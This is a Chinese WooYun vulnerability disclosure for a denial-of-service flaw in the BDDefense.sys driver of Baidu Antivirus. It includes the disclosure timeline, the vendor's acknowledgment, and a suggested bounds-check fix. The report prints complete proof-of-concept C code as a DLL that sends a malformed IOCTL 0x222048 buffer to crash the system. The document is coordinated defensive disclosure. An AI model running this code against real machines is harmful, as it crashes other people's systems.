当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102523

漏洞标题:百度杀毒BDDefense驱动拒绝服务漏洞

相关厂商:百度

漏洞作者: 路人甲

提交时间:2015-03-20 10:47

修复时间:2015-06-22 16:54

公开时间:2015-06-22 16:54

漏洞类型:拒绝服务

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-03-27: 细节向第三方安全合作伙伴开放
2015-05-18: 细节向核心白帽子及相关领域专家公开
2015-05-28: 细节向普通白帽子公开
2015-06-07: 细节向实习白帽子公开
2015-06-22: 细节向公众公开

简要描述:

BDDefense.sys对IRP_MJ_DEVICE_CONTROL的处理不当,传入畸形参数会导致蓝屏。

详细说明:

版本.jpg


BDDefense.sys版本:1.0.0.4
BDDefense.sys对IRP_MJ_DEVICE_CONTROL的处理中,在IoControlCode=0x222048时,未对InputBuffer+8的DWORD做大小判断,若传入0xffffffff,会造成越界地址访问,导致蓝屏。

bug根源.jpg


漏洞证明:

void CallDriver(HANDLE hDev)
{
char inputBuff[0x1000] = { 0 };
DWORD code = 0x222048;
DWORD inputLen = 0x1c;
DWORD dwReturned = 0;
DWORD a[] = {0x0000000d,0x00000001, 0xffffffff, 0, 0, 0, 0};
for(DWORD i = 0; i < sizeof(a)/sizeof(*a); ++i)
{
*((DWORD*)(inputBuff + 4*i)) = a[i];
}
DeviceIoControl(hDev,
code,
(LPVOID)inputBuff,
inputLen,
NULL,
0,
&dwReturned,
NULL);
}
void FuzzDriver()
{
LPCTSTR DevName = _T("\\\\.\\BDDefense");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(INVALID_HANDLE_VALUE != hDev)
{
CallDriver(hDev);
CloseHandle(hDev);
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
FuzzDriver();
return TRUE;
}

修复方案:

增加对InputBuffer+8这个DWORD值的界限判断。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-24 16:52

厂商回复:

感谢提交

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-22 16:57 | yinian ( 实习白帽子 | Rank:67 漏洞数:22 | 代 码 审 计 求 交 流)

    汇编牛